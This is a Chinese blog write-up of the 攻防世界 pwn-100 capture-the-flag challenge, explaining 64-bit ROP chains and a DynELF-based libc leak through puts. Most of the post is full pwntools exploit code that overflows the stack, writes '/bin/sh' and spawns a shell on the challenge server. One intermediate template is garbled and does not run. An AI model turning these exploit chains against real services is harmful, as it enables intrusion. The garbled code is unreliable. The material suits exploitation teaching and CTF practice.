64位程序rop链构造|攻防世界pwn进阶区 pwn-100

前言

这一题和pwn-200有类似之处,都是栈溢出漏洞,可以循环泄露,所以都使用DynELF来泄露。但是pwn200是32位程序用rop,pwn100是64位程序用rop。区别在于32位程序利用栈布局,而64位程序调用参数是利用寄存器。且本题是用puts函数来泄露,puts函数不能指定输出字符串的长度。

利用思路

0x01.ida调试发现sub_40063D函数可以溢出

在这里插入图片描述

0x02.cyclic计算溢出需要填充72字节

0x03.checksec看一下保护

 Arch:     amd64-64-little
    RELRO:    Partial RELRO //地址随机化
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

0x04.利用思路:

1.利用DynELF模块泄露system函数地址
2.构造rop链,写入"/bin/sh"
3.调用system函数

0x05.可以用vmmap查找binary文件地址

在这里插入图片描述
这里找到一个 rw-p的地址,即可写地址 0x601000,pwn-200做的时候是用的bss段地址bss_addr=elf.bss(),但是这一题我看网上wp基本没有用bss段地址的,我自己试了一下用bss段地址打不通。

0x06.用 ROPgadget --binary pwn100 --only "pop|ret" | grep rdi命令寻找ROP

在这里插入图片描述

poprdi_addr=0x400763
pop6_addr=0x40075a

0x07.32位程序和64位程序的差别

  • 32位程序中,函数调用是直接将参数压栈,需要用的时候直接将参数放在栈上,调用的函数就能直接取得参数并运算。
  • x64的gcc优化了x86的传参方式,x64程序设立了几个寄存器李存放参数,调用函数的时候先向寄存器之中放参数,当参数的数量大于寄存器的时候,才会向栈中放参数。
fun(1,2,3,4,5,6,7,8,9);//当我们调用这个函数的时候
//x86传参的方式是这样:
push 9;
push 8;
···
push 1;
call fun;
//x64传参方式:
mov r9d 6;
mov r8d 5;
mov ecx 4;
mov edx 3;
mov esi 2;
mov edi 1;
mov DWORD PTR [rsp+16], 9;
mov DWORD PTR [rsp+8], 8;
mov DWORD PTR [rsp], 7;
call fun;

传参的顺序,默认是从最后一个参数先开始传入,x86和x64都是一样。
参考blog

0x08.写出leak函数

def leak(address):
    count = 0
    up = ''
    content = ''
    payload = junk
    payload += p64(pop_rdi) #给put的参数
    payload += p64(address) #leak函数的参数
    payload += p64(puts_addr) #调用put函数
    payload += p64(start_addr) #跳转到start,恢复栈
    payload = payload.ljust(200,'B') #填充到200字节,触发循环的break
    r.send(payload)
    r.recvuntil("bye~\n")

利用过程

0x01.先尝试泄露

在这里插入图片描述
在这里插入图片描述
0x4个字节时候才是需要泄露的地址

def leak(address):
    count = 0
    up = ''
    content = ''
    payload = junk
    payload += p64(pop_rdi) #给put的参数
    payload += p64(address) #leak函数的参数
    payload += p64(puts_addr) #调用put函数
    payload += p64(start_addr) #跳转到start,恢复栈
    payload = payload.ljust(200,'B') #填充到200字节,触发循环的break
    r.send(payload)
    content = r.recv()[5:]
    return content

0x02.下面尝试补充成exp

from pwn import *
r = remote("111.198.29.45",36839)
context(log_level='debug',arch='amd64',os='linux')
elf = ELF("./pwn100")
puts_addr = elf.plt['puts']
read_got = elf.gpt['read']
pop_rdi = 0x400763
junk = "A"*72
rop1 = 0x40075a #pop rbx,rbp,r12,r13,r14,r15
rop2 = 0x400740 #rdx(r13),rsi(r14),edi(r15)
start_addr = 0x400550
binsh_addr = 0x601000 #向该地址写入"/bin/sh"

  
def leak(address):
    count = 0
    up = ''
    content = ''
    payload = junk
    payload += p64(pop_rdi) #给put的参数
    payload += p64(address) #leak函数的参数
    payload += p64(puts_addr) #调用put函数
    payload += p64(start_addr) #跳转到start,恢复栈
    payload = payload.ljust(200,'B') #填充到200字节,触发循环的break
    r.send(payload)
    content = r.recv()[5:]
    log.info("%#x => %s" % (address,(content or '').encode('hex')))
    return content

dyn = DynELF(leak,elf = ELF("./pwn100"))
system_addr = dyn.lookup('system','libc')
log.info("system_addr => %#x",system_addr)


payload = junk + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) +p64(binsh_addr) +p64(0) #调用read向可写段写入
payload += p64(rop2) #调用rop2
payload += "\x00"*56#rop2技术后跳转到rop1,需要再填充56字节,(pop*6+ret)*8
payload += p64(start_addr) #调整栈帧
payload += payload.ljust(200,"B")
r.send(payload)
r.recvuntil("bye~\n")
r.send("/bin/sh\x00")
payload = junk + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
payload = payload.ljust(200,"B")
r.send(payload)
r.interactive()

会发现这样的exp打不通

0x03.寻找原因

原因出在了leak函数上

puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“x00”字符为止。也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含x00截断符,输出就会终止,且会自动将“n”追加到输出字符串的末尾,这是puts函数的缺点,而优点就是需要的参数少,只有1个,无论在x32还是x64环境下,都容易调用。

0x04.利用puts函数的DynELF模板

def leak(address):
  count = 0
  data = ""
  payload = xxx
  p.send(payload)
  print p.recvuntil("xxxn")) #一定要在puts前释放完输出
  up = ""
  while True:
    c = p.recv(1)
    count += 1
    if up == 'n' and c == "x":  #一定要找到泄漏信息的字符串特征
      data = buf[:-1]                     
      data += "x00"
      break
    else:
      buf += c
    up = c
  data = buf[:4] 
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

0x05.调整exp

# -*- coding: UTF-8 -*-
from pwn import *
r = remote("111.198.29.45",36839)
context(log_level='debug',arch='amd64',os='linux')
elf = ELF("./pwn100")
puts_addr = elf.plt['puts']
read_got = elf.got['read']
pop_rdi = 0x400763
junk = "A"*72
rop1 = 0x40075a #pop rbx,rbp,r12,r13,r14,r15
rop2 = 0x400740 #rdx(r13),rsi(r14),edi(r15)
start_addr = 0x400550
binsh_addr = 0x601000 #向该地址写入"/bin/sh"

  
def leak(address):
    count = 0
    up = ''
    content = ''
    payload = junk
    payload += p64(pop_rdi) #给put的参数
    payload += p64(address) #leak函数的参数
    payload += p64(puts_addr) #调用put函数
    payload += p64(start_addr) #跳转到start,恢复栈
    payload = payload.ljust(200,'B') #填充到200字节,触发循环的break
    r.send(payload)
    r.recvuntil("bye~\n")
    while True:
        c = r.recv(numb=1,timeout=0.5)#每次读取一个字节,设置超时时间确保没有遗漏
        count += 1
        if up =='\n' and c == '': #上一个字符是回车且读不到其他字符,说明读完了
            content = content[:-1] + '\x00'#最后一个字符设置为\x00
            break
        else:
            content += c #输出拼接
            up = c #保存最后一个字符
    content = content[:4]#截取输出的一段作为返回值,提供给DynELF处理
    log.info("%#x => %s" % (address,(content or '').encode('hex')))
    return content

dyn = DynELF(leak,elf = ELF("./pwn100"))
system_addr = dyn.lookup('system','libc')
log.info("system_addr => %#x",system_addr)


payload = junk + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) +p64(binsh_addr) +p64(0) #调用read向可写段写入
payload += p64(rop2) #调用rop2
payload += "\x00"*56#rop2技术后跳转到rop1,需要再填充56字节,(pop*6+ret)*8
payload += p64(start_addr) #调整栈帧
payload = payload.ljust(200,"B")
r.send(payload)
r.recvuntil("bye~\n")
r.send("/bin/sh\x00")
payload = junk + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
payload = payload.ljust(200,"B")
r.send(payload)
r.interactive()

总结

  • 要认识到32位程序和64位程序传参的区别
  • 要学会熟练使用DynELF应对可重复泄露的漏洞

参考博客:
【技术分享】借助DynELF实现无libc的漏洞利用小结
Linux pwn入门教程(5)——利用漏洞获取libc

发布了85 篇原创文章 · 获赞 42 · 访问量 4309

猜你喜欢

转载自blog.csdn.net/weixin_43092232/article/details/104906434